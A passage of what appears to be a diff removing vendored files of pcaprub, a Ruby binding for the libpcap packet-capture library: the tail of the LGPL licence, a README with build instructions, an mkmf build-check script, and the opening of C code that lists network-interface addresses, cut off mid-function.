a purpose that is entirely well-defined independent of the
|
||||
application. Therefore, Subsection 2d requires that any
|
||||
application-supplied function or table used by this function must
|
||||
be optional: if the application does not supply it, the square
|
||||
root function must still compute square roots.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Library,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Library, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote
|
||||
it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Library.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Library
|
||||
with the Library (or with a work based on the Library) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may opt to apply the terms of the ordinary GNU General Public
|
||||
License instead of this License to a given copy of the Library. To do
|
||||
this, you must alter all the notices that refer to this License, so
|
||||
that they refer to the ordinary GNU General Public License, version 2,
|
||||
instead of to this License. (If a newer version than version 2 of the
|
||||
ordinary GNU General Public License has appeared, then you can specify
|
||||
that version instead if you wish.) Do not make any other change in
|
||||
these notices.
|
||||
|
||||
Once this change is made in a given copy, it is irreversible for
|
||||
that copy, so the ordinary GNU General Public License applies to all
|
||||
subsequent copies and derivative works made from that copy.
|
||||
|
||||
This option is useful when you wish to copy part of the code of
|
||||
the Library into a program that is not a library.
|
||||
|
||||
4. You may copy and distribute the Library (or a portion or
|
||||
derivative of it, under Section 2) in object code or executable form
|
||||
under the terms of Sections 1 and 2 above provided that you accompany
|
||||
it with the complete corresponding machine-readable source code, which
|
||||
must be distributed under the terms of Sections 1 and 2 above on a
|
||||
medium customarily used for software interchange.
|
||||
|
||||
If distribution of object code is made by offering access to copy
|
||||
from a designated place, then offering equivalent access to copy the
|
||||
source code from the same place satisfies the requirement to
|
||||
distribute the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
5. A program that contains no derivative of any portion of the
|
||||
Library, but is designed to work with the Library by being compiled or
|
||||
linked with it, is called a "work that uses the Library". Such a
|
||||
work, in isolation, is not a derivative work of the Library, and
|
||||
therefore falls outside the scope of this License.
|
||||
|
||||
However, linking a "work that uses the Library" with the Library
|
||||
creates an executable that is a derivative of the Library (because it
|
||||
contains portions of the Library), rather than a "work that uses the
|
||||
library". The executable is therefore covered by this License.
|
||||
Section 6 states terms for distribution of such executables.
|
||||
|
||||
When a "work that uses the Library" uses material from a header file
|
||||
that is part of the Library, the object code for the work may be a
|
||||
derivative work of the Library even though the source code is not.
|
||||
Whether this is true is especially significant if the work can be
|
||||
linked without the Library, or if the work is itself a library. The
|
||||
threshold for this to be true is not precisely defined by law.
|
||||
|
||||
If such an object file uses only numerical parameters, data
|
||||
structure layouts and accessors, and small macros and small inline
|
||||
functions (ten lines or less in length), then the use of the object
|
||||
file is unrestricted, regardless of whether it is legally a derivative
|
||||
work. (Executables containing this object code plus portions of the
|
||||
Library will still fall under Section 6.)
|
||||
|
||||
Otherwise, if the work is a derivative of the Library, you may
|
||||
distribute the object code for the work under the terms of Section 6.
|
||||
Any executables containing that work also fall under Section 6,
|
||||
whether or not they are linked directly with the Library itself.
|
||||
|
||||
6. As an exception to the Sections above, you may also combine or
|
||||
link a "work that uses the Library" with the Library to produce a
|
||||
work containing portions of the Library, and distribute that work
|
||||
under terms of your choice, provided that the terms permit
|
||||
modification of the work for the customer's own use and reverse
|
||||
engineering for debugging such modifications.
|
||||
|
||||
You must give prominent notice with each copy of the work that the
|
||||
Library is used in it and that the Library and its use are covered by
|
||||
this License. You must supply a copy of this License. If the work
|
||||
during execution displays copyright notices, you must include the
|
||||
copyright notice for the Library among them, as well as a reference
|
||||
directing the user to the copy of this License. Also, you must do one
|
||||
of these things:
|
||||
|
||||
a) Accompany the work with the complete corresponding
|
||||
machine-readable source code for the Library including whatever
|
||||
changes were used in the work (which must be distributed under
|
||||
Sections 1 and 2 above); and, if the work is an executable linked
|
||||
with the Library, with the complete machine-readable "work that
|
||||
uses the Library", as object code and/or source code, so that the
|
||||
user can modify the Library and then relink to produce a modified
|
||||
executable containing the modified Library. (It is understood
|
||||
that the user who changes the contents of definitions files in the
|
||||
Library will not necessarily be able to recompile the application
|
||||
to use the modified definitions.)
|
||||
|
||||
b) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (1) uses at run time a
|
||||
copy of the library already present on the user's computer system,
|
||||
rather than copying library functions into the executable, and (2)
|
||||
will operate properly with a modified version of the library, if
|
||||
the user installs one, as long as the modified version is
|
||||
interface-compatible with the version that the work was made with.
|
||||
|
||||
c) Accompany the work with a written offer, valid for at
|
||||
least three years, to give the same user the materials
|
||||
specified in Subsection 6a, above, for a charge no more
|
||||
than the cost of performing this distribution.
|
||||
|
||||
d) If distribution of the work is made by offering access to copy
|
||||
from a designated place, offer equivalent access to copy the above
|
||||
specified materials from the same place.
|
||||
|
||||
e) Verify that the user has already received a copy of these
|
||||
materials or that you have already sent this user a copy.
|
||||
|
||||
For an executable, the required form of the "work that uses the
|
||||
Library" must include any data and utility programs needed for
|
||||
reproducing the executable from it. However, as a special exception,
|
||||
the materials to be distributed need not include anything that is
|
||||
normally distributed (in either source or binary form) with the major
|
||||
components (compiler, kernel, and so on) of the operating system on
|
||||
which the executable runs, unless that component itself accompanies
|
||||
the executable.
|
||||
|
||||
It may happen that this requirement contradicts the license
|
||||
restrictions of other proprietary libraries that do not normally
|
||||
accompany the operating system. Such a contradiction means you cannot
|
||||
use both them and the Library together in an executable that you
|
||||
distribute.
|
||||
|
||||
7. You may place library facilities that are a work based on the
|
||||
Library side-by-side in a single library together with other library
|
||||
facilities not covered by this License, and distribute such a combined
|
||||
library, provided that the separate distribution of the work based on
|
||||
the Library and of the other library facilities is otherwise
|
||||
permitted, and provided that you do these two things:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work
|
||||
based on the Library, uncombined with any other library
|
||||
facilities. This must be distributed under the terms of the
|
||||
Sections above.
|
||||
|
||||
b) Give prominent notice with the combined library of the fact
|
||||
that part of it is a work based on the Library, and explaining
|
||||
where to find the accompanying uncombined form of the same work.
|
||||
|
||||
8. You may not copy, modify, sublicense, link with, or distribute
|
||||
the Library except as expressly provided under this License. Any
|
||||
attempt otherwise to copy, modify, sublicense, link with, or
|
||||
distribute the Library is void, and will automatically terminate your
|
||||
rights under this License. However, parties who have received copies,
|
||||
or rights, from you under this License will not have their licenses
|
||||
terminated so long as such parties remain in full compliance.
|
||||
|
||||
9. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Library or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Library (or any work based on the
|
||||
Library), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Library or works based on it.
|
||||
|
||||
10. Each time you redistribute the Library (or any work based on the
|
||||
Library), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute, link with or modify the Library
|
||||
subject to these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties with
|
||||
this License.
|
||||
|
||||
11. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Library at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Library by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Library.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under any
|
||||
particular circumstance, the balance of the section is intended to apply,
|
||||
and the section as a whole is intended to apply in other circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
12. If the distribution and/or use of the Library is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Library under this License may add
|
||||
an explicit geographical distribution limitation excluding those countries,
|
||||
so that distribution is permitted only in or among countries not thus
|
||||
excluded. In such case, this License incorporates the limitation as if
|
||||
written in the body of this License.
|
||||
|
||||
13. The Free Software Foundation may publish revised and/or new
|
||||
versions of the Lesser General Public License from time to time.
|
||||
Such new versions will be similar in spirit to the present version,
|
||||
but may differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Library
|
||||
specifies a version number of this License which applies to it and
|
||||
"any later version", you have the option of following the terms and
|
||||
conditions either of that version or of any later version published by
|
||||
the Free Software Foundation. If the Library does not specify a
|
||||
license version number, you may choose any version ever published by
|
||||
the Free Software Foundation.
|
||||
|
||||
14. If you wish to incorporate parts of the Library into other free
|
||||
programs whose distribution conditions are incompatible with these,
|
||||
write to the author to ask for permission. For software which is
|
||||
copyrighted by the Free Software Foundation, write to the Free
|
||||
Software Foundation; we sometimes make exceptions for this. Our
|
||||
decision will be guided by the two goals of preserving the free status
|
||||
of all derivatives of our free software and of promoting the sharing
|
||||
and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
|
||||
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
|
||||
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
|
||||
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
|
||||
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
|
||||
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
|
||||
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
|
||||
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
|
||||
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
|
||||
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
|
||||
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
|
||||
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
|
||||
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
|
||||
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
|
||||
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
Vendored
-43
@@ -1,43 +0,0 @@
|
||||
This goal of this project is to provide a consistent interface to LBL's libpcap
|
||||
packet capture library. This project was created because the currently
|
||||
available ruby-pcap library is poorly designed and has been unmaintained since
|
||||
2000. This does not provide packet processing functionality, it simply provides
|
||||
the interface for capturing packets. For packet processing capability, see the
|
||||
PacketRub project (http://packetrub.rubyforge.org).
|
||||
|
||||
Requirements:
|
||||
libpcap - http://www.tcpdump.org
|
||||
|
||||
Build & Install:
|
||||
ruby extconf.rb && make && make install
|
||||
|
||||
The latest version can be obtained from Subversion:
|
||||
svn checkout http://pcaprub.rubyforge.org/svn/trunk/
|
||||
|
||||
The Metasploit Project also provides a Subversion repository:
|
||||
svn checkout http://metasploit.com/svn/framework3/trunk/external/pcaprub/
|
||||
|
||||
The Metasploit Project also added some code from the python netifaces c extension
|
||||
|
||||
Original c/python netifaces code is under MIT-style license.
|
||||
Here goes:
|
||||
|
||||
Copyright (c) 2007, 2008 Alastair Houghton
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
Vendored
-117
@@ -1,117 +0,0 @@
|
||||
require 'mkmf'
|
||||
|
||||
puts("platform is #{RUBY_PLATFORM}")
|
||||
|
||||
########################
|
||||
# Netifaces
|
||||
########################
|
||||
puts "\n[*] Running checks for netifaces code added by metasploit project"
|
||||
puts "-----------------------------------------------------------------"
|
||||
#uncoment to force ioctl on non windows systems
|
||||
#@force_ioctl = true
|
||||
@supported_archs = [ "i386-mingw32", "i486-linux", "x86_64-linux",
|
||||
"universal-darwin10.0", "i386-openbsd4.8", "i386-freebsd8",
|
||||
"arm-linux-eabi" ]
|
||||
#arm-linux-eabi tested on maemo5 / N900
|
||||
puts "[*] Warning : this platform as not been tested" unless @supported_archs.include? RUBY_PLATFORM
|
||||
|
||||
if RUBY_PLATFORM =~ /i386-mingw32/
|
||||
unless have_library("ws2_32" ) and
|
||||
have_library("iphlpapi") and
|
||||
have_header("windows.h") and
|
||||
have_header("winsock2.h") and
|
||||
have_header("iphlpapi.h")
|
||||
puts "\nNot all dependencies are satisfied, please check logs"
|
||||
exit
|
||||
end
|
||||
|
||||
|
||||
else
|
||||
headers = ['net/if_dl.h', 'netash/ash.h','netatalk/at.h', 'netax25/ax25.h',
|
||||
'neteconet/ec.h', 'netipx/ipx.h','netpacket/packet.h', 'netrose/rose.h']
|
||||
if RUBY_PLATFORM =~ /linux/
|
||||
headers += [ 'linux/irda.h', 'linux/atm.h',
|
||||
'linux/llc.h', 'linux/tipc.h',
|
||||
'linux/dn.h']
|
||||
end
|
||||
additionnal_headers = ["sys/types.h","sys/socket.h","sys/un.h","net/if.h","netinet/in.h"]
|
||||
optional_headers = []
|
||||
sockaddrs = [ 'at', 'ax25', 'dl', 'eon', 'in', 'in6',
|
||||
'inarp', 'ipx', 'iso', 'ns', 'un', 'x25',
|
||||
'rose', 'ash', 'ec', 'll', 'atmpvc', 'atmsvc',
|
||||
'dn', 'irda', 'llc']
|
||||
|
||||
# 1) Check for getifaddrs
|
||||
unless @force_ioctl
|
||||
need_ioctl = !(have_func("getifaddrs"))
|
||||
end
|
||||
|
||||
# 2) Check for getnameinfo or redefine it in netifaces.c
|
||||
have_func("getnameinfo")
|
||||
|
||||
# 3) Whitout getifaddrs we'll have to deal with ioctls
|
||||
if need_ioctl or @force_ioctl
|
||||
ioctls = [
|
||||
'SIOCGIFCONF','SIOCGSIZIFCONF','SIOCGIFHWADDR','SIOCGIFADDR','SIOCGIFFLAGS','SIOCGIFDSTADDR',
|
||||
'SIOCGIFBRDADDR','SIOCGIFNETMASK','SIOCGLIFNUM','SIOCGLIFCONF','SIOCGLIFFLAGS']
|
||||
ioctls_headers = ['sys/types.h','sys/socket.h','sys/ioctl.h','net/if.h','netinet/in.h','arpa/inet.h']
|
||||
#TODO Test this on sunos
|
||||
#if RUBY_PLATFORM =~ /sunos/
|
||||
# ioctls_headers += ['unistd.h','stropts.h','sys/sockio.h']
|
||||
#end
|
||||
$defs.push '-DHAVE_SOCKET_IOCTLS'
|
||||
ioctls.each do |ioctl|
|
||||
if have_macro(ioctl, ioctls_headers)
|
||||
$defs.push "-DHAVE_#{ioctl}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# 4) Check for optionnal headers
|
||||
headers.each do |header|
|
||||
if have_header(header)
|
||||
optional_headers.push(header)
|
||||
end
|
||||
end
|
||||
|
||||
# 5) On certain platforms (Linux), there's no sa_len.
|
||||
# Unfortunately, getifaddrs() doesn't return the
|
||||
# lengths, because they're in the sa_len field on just about
|
||||
# everything but Linux.
|
||||
# In this case we will define a macro that will return the sa_len from
|
||||
# the sockaddr_xx structure if they are available
|
||||
if (!have_struct_member("struct sockaddr", "sa_len", ["sys/types.h","sys/socket.h","net/if.h"]))
|
||||
sockaddrs.each do |sockaddr|
|
||||
have_type("struct sockaddr_" + sockaddr, additionnal_headers + optional_headers)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#rework the defs to make them compatible with the original netifaces.c code
|
||||
$defs = $defs.map do |a|
|
||||
if a =~ /^-DHAVE_TYPE_STRUCT_SOCKADDR_.*$/ then a.gsub("TYPE_STRUCT_","")
|
||||
elsif a == "-DHAVE_ST_SA_LEN" then a.gsub("HAVE_ST_","HAVE_SOCKADDR_")
|
||||
else a
|
||||
end
|
||||
end
|
||||
|
||||
########################
|
||||
# Pcap
|
||||
########################
|
||||
|
||||
puts "\n[*] Running checks for pcap code..."
|
||||
puts "-----------------------------------"
|
||||
if /i386-mingw32/ =~ RUBY_PLATFORM
|
||||
dir_config("pcap","C:/WpdPack/include","C:/WpdPack/lib")
|
||||
have_library("wpcap", "pcap_open_live")
|
||||
have_library("wpcap", "pcap_setnonblock")
|
||||
else
|
||||
have_library("pcap", "pcap_open_live")
|
||||
have_library("pcap", "pcap_setnonblock")
|
||||
end
|
||||
|
||||
if ( RUBY_VERSION =~ /^1\.9/ )
|
||||
$CFLAGS += " -DRUBY_19"
|
||||
end
|
||||
|
||||
create_makefile("pcaprub")
|
||||
Vendored
-816
@@ -1,816 +0,0 @@
|
||||
#include "ruby.h"
|
||||
|
||||
#ifndef RUBY_19
|
||||
#include "rubysig.h"
|
||||
#endif
|
||||
|
||||
#include "netifaces.h"
|
||||
|
||||
#if !defined(WIN32)
|
||||
#if !HAVE_GETNAMEINFO
|
||||
#undef getnameinfo
|
||||
#undef NI_NUMERICHOST
|
||||
|
||||
#define getnameinfo our_getnameinfo
|
||||
#define NI_NUMERICHOST 1
|
||||
|
||||
/* A very simple getnameinfo() for platforms without */
|
||||
static int
|
||||
getnameinfo (const struct sockaddr *addr, int addr_len,
|
||||
char *buffer, int buflen,
|
||||
char *buf2, int buf2len,
|
||||
int flags)
|
||||
{
|
||||
switch (addr->sa_family)
|
||||
{
|
||||
case AF_INET:
|
||||
{
|
||||
const struct sockaddr_in *sin = (struct sockaddr_in *)addr;
|
||||
const unsigned char *bytes = (unsigned char *)&sin->sin_addr.s_addr;
|
||||
char tmpbuf[20];
|
||||
|
||||
sprintf (tmpbuf, "%d.%d.%d.%d",
|
||||
bytes[0], bytes[1], bytes[2], bytes[3]);
|
||||
|
||||
strncpy (buffer, tmpbuf, buflen);
|
||||
}
|
||||
break;
|
||||
#ifdef AF_INET6
|
||||
case AF_INET6:
|
||||
{
|
||||
const struct sockaddr_in6 *sin = (const struct sockaddr_in6 *)addr;
|
||||
const unsigned char *bytes = sin->sin6_addr.s6_addr;
|
||||
int n;
|
||||
char tmpbuf[80], *ptr = tmpbuf;
|
||||
int done_double_colon = FALSE;
|
||||
int colon_mode = FALSE;
|
||||
|
||||
for (n = 0; n < 8; ++n)
|
||||
{
|
||||
unsigned char b1 = bytes[2 * n];
|
||||
unsigned char b2 = bytes[2 * n + 1];
|
||||
|
||||
if (b1)
|
||||
{
|
||||
if (colon_mode)
|
||||
{
|
||||
colon_mode = FALSE;
|
||||
*ptr++ = ':';
|
||||
}
|
||||
sprintf (ptr, "%x%02x", b1, b2);
|
||||
ptr += strlen (ptr);
|
||||
*ptr++ = ':';
|
||||
}
|
||||
else if (b2)
|
||||
{
|
||||
if (colon_mode)
|
||||
{
|
||||
colon_mode = FALSE;
|
||||
*ptr++ = ':';
|
||||
}
|
||||
sprintf (ptr, "%x", b2);
|
||||
ptr += strlen (ptr);
|
||||
*ptr++ = ':';
|
||||
}
|
||||
else {
|
||||
if (!colon_mode)
|
||||
{
|
||||
if (done_double_colon)
|
||||
{
|
||||
*ptr++ = '0';
|
||||
*ptr++ = ':';
|
||||
}
|
||||
else
|
||||
{
|
||||
if (n == 0)
|
||||
*ptr++ = ':';
|
||||
colon_mode = TRUE;
|
||||
done_double_colon = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (colon_mode)
|
||||
{
|
||||
colon_mode = FALSE;
|
||||
*ptr++ = ':';
|
||||
*ptr++ = '\0';
|
||||
}
|
||||
else
|
||||
{
|
||||
*--ptr = '\0';
|
||||
}
|
||||
|
||||
strncpy (buffer, tmpbuf, buflen);
|
||||
}
|
||||
break;
|
||||
#endif /* AF_INET6 */
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
static int
|
||||
string_from_sockaddr (struct sockaddr *addr,
|
||||
char *buffer,
|
||||
int buflen)
|
||||
{
|
||||
if (!addr || addr->sa_family == AF_UNSPEC)
|
||||
return -1;
|
||||
|
||||
if (getnameinfo (addr, SA_LEN(addr),
|
||||
buffer, buflen,
|
||||
NULL, 0,
|
||||
NI_NUMERICHOST) != 0)
|
||||
{
|
||||
int n, len;
|
||||
char *ptr;
|
||||
const char *data;
|
||||
|
||||
len = SA_LEN(addr);
|
||||
|
||||
#if HAVE_AF_LINK
|
||||
/* BSD-like systems have AF_LINK */
|
||||
if (addr->sa_family == AF_LINK)
|
||||
{
|
||||
struct sockaddr_dl *dladdr = (struct sockaddr_dl *)addr;
|
||||
len = dladdr->sdl_alen;
|
||||
if(len >=0)
|
||||
data = LLADDR(dladdr);
|
||||
}
|
||||
else
|
||||
{
|
||||
#endif
|
||||
#if defined(AF_PACKET)
|
||||
/* Linux has AF_PACKET instead */
|
||||
if (addr->sa_family == AF_PACKET)
|
||||
{
|
||||
struct sockaddr_ll *lladdr = (struct sockaddr_ll *)addr;
|
||||
len = lladdr->sll_halen;
|
||||
//amaloteaux: openbsd and maybe other systems have a len of 0 for enc0,pflog0 .. interfaces
|
||||
if(len >=0)
|
||||
data = (const char *)lladdr->sll_addr;
|
||||
}
|
||||
else
|
||||
{
|
||||
#endif
|
||||
/* We don't know anything about this sockaddr, so just display
|
||||
the entire data area in binary. */
|
||||
len -= (sizeof (struct sockaddr) - sizeof (addr->sa_data));
|
||||
data = addr->sa_data;
|
||||
#if defined(AF_PACKET)
|
||||
}
|
||||
#endif
|
||||
#if HAVE_AF_LINK
|
||||
}
|
||||
#endif
|
||||
|
||||
if ((buflen < 3 * len) || len <= 0)
|
||||
return -1;
|
||||
|
||||
ptr = buffer;
|
||||
buffer[0] = '\0';
|
||||
|
||||
for (n = 0; n < len; ++n)
|
||||
{
|
||||
sprintf (ptr, "%02x:", data[n] & 0xff);
|
||||
ptr += 3;
|
||||
}
|
||||
*--ptr = '\0';
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif /* !defined(WIN32) */
|
||||
|
||||
static VALUE add_to_family(VALUE result, VALUE family, VALUE value)
|
||||
{
|
||||
Check_Type(result, T_HASH);
|
||||
Check_Type(family, T_FIXNUM);
|
||||
Check_Type(value, T_HASH);
|
||||
VALUE list;
|
||||
|
||||
list = rb_hash_aref(result, family);
|
||||
|
||||
if (list == Qnil)
|
||||
list = rb_ary_new();
|
||||
else
|
||||
Check_Type(list, T_ARRAY);
|
||||
|
||||
rb_ary_push(list, value);
|
||||
rb_hash_aset(result, family, list);
|
||||
return result;
|
||||
}
|
||||
|
||||
VALUE
|
||||
rbnetifaces_s_addresses (VALUE class, VALUE dev)
|
||||
{
|
||||
Check_Type(dev, T_STRING);
|
||||
|
||||
VALUE result;
|
||||
int found = FALSE;
|
||||
result = rb_hash_new();
|
||||
|
||||
#if defined(WIN32)
|
||||
PIP_ADAPTER_INFO pAdapterInfo = NULL;
|
||||
PIP_ADAPTER_INFO pInfo = NULL;
|
||||
ULONG ulBufferLength = 0;
|
||||
DWORD dwRet;
|
||||
PIP_ADDR_STRING str;
|
||||
|
||||
//First, retrieve the adapter information. We do this in a loop, in
|
||||
//case someone adds or removes adapters in the meantime.
|
||||
do
|
||||
{
|
||||
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
|
||||
|
||||
if (dwRet == ERROR_BUFFER_OVERFLOW)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
|
||||
|
||||
if (!pAdapterInfo)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
}
|
||||
} while (dwRet == ERROR_BUFFER_OVERFLOW);
|
||||
|
||||
// If we failed, then fail in Ruby too
|
||||
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
rb_raise(rb_eRuntimeError, "Unable to obtain adapter information.");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
|
||||
{
|
||||
char buffer[256];
|
||||
//dev is the iface GUID on windows with "\\Device\\NPF_" prefix
|
||||
int cmpAdapterNamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
|
||||
char cmpAdapterName[cmpAdapterNamelen];
|
||||
memset(cmpAdapterName, 0x00, cmpAdapterNamelen);
|
||||
strncpy(cmpAdapterName, "\\Device\\NPF_", 12);
|
||||
int AdapterName_len = strlen(pInfo->AdapterName);
|
||||
strncpy(cmpAdapterName + 12, pInfo->AdapterName, AdapterName_len);
|
||||
if (strcmp (cmpAdapterName, StringValuePtr(dev)) != 0)
|
||||
continue;
|
||||
|
||||
VALUE rbhardw = Qnil;
|
||||
VALUE rbaddr = Qnil;
|
||||
VALUE rbnetmask = Qnil;
|
||||
VALUE rbbraddr = Qnil;
|
||||
|
||||
found = TRUE;
|
||||
|
||||
// Do the physical address
|
||||
if (256 >= 3 * pInfo->AddressLength)
|
||||
{
|
||||
VALUE hash_hardw;
|
||||
hash_hardw = rb_hash_new();
|
||||
|
||||
char *ptr = buffer;
|
||||
unsigned n;
|
||||
|
||||
*ptr = '\0';
|
||||
for (n = 0; n < pInfo->AddressLength; ++n)
|
||||
{
|
||||
sprintf (ptr, "%02x:", pInfo->Address[n] & 0xff);
|
||||
ptr += 3;
|
||||
}
|
||||
*--ptr = '\0';
|
||||
|
||||
rbhardw = rb_str_new2(buffer);
|
||||
rb_hash_aset(hash_hardw, rb_str_new2("addr"), rbhardw);
|
||||
result = add_to_family(result, INT2FIX(AF_LINK), hash_hardw);
|
||||
}
|
||||
|
||||
for (str = &pInfo->IpAddressList; str; str = str->Next)
|
||||
{
|
||||
|
||||
VALUE result2;
|
||||
result2 = rb_hash_new();
|
||||
|
||||
if(str->IpAddress.String)
|
||||
rbaddr = rb_str_new2(str->IpAddress.String);
|
||||
if(str->IpMask.String)
|
||||
rbnetmask = rb_str_new2(str->IpMask.String);
|
||||
|
||||
//If this isn't the loopback interface, work out the broadcast
|
||||
//address, for better compatibility with other platforms.
|
||||
if (pInfo->Type != MIB_IF_TYPE_LOOPBACK)
|
||||
{
|
||||
unsigned long inaddr = inet_addr (str->IpAddress.String);
|
||||
unsigned long inmask = inet_addr (str->IpMask.String);
|
||||
struct in_addr in;
|
||||
char *brstr;
|
||||
|
||||
in.S_un.S_addr = (inaddr | ~inmask) & 0xfffffffful;
|
||||
|
||||
brstr = inet_ntoa (in);
|
||||
|
||||
if (brstr)
|
||||
rbbraddr = rb_str_new2(brstr);
|
||||
}
|
||||
|
||||
if (rbaddr)
|
||||
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
|
||||
if (rbnetmask)
|
||||
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
|
||||
if (rbbraddr)
|
||||
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
|
||||
|
||||
result = add_to_family(result, INT2FIX(AF_INET), result2);
|
||||
|
||||
}
|
||||
} // for
|
||||
|
||||
free (pAdapterInfo);
|
||||
|
||||
#elif HAVE_GETIFADDRS
|
||||
struct ifaddrs *addrs = NULL;
|
||||
struct ifaddrs *addr = NULL;
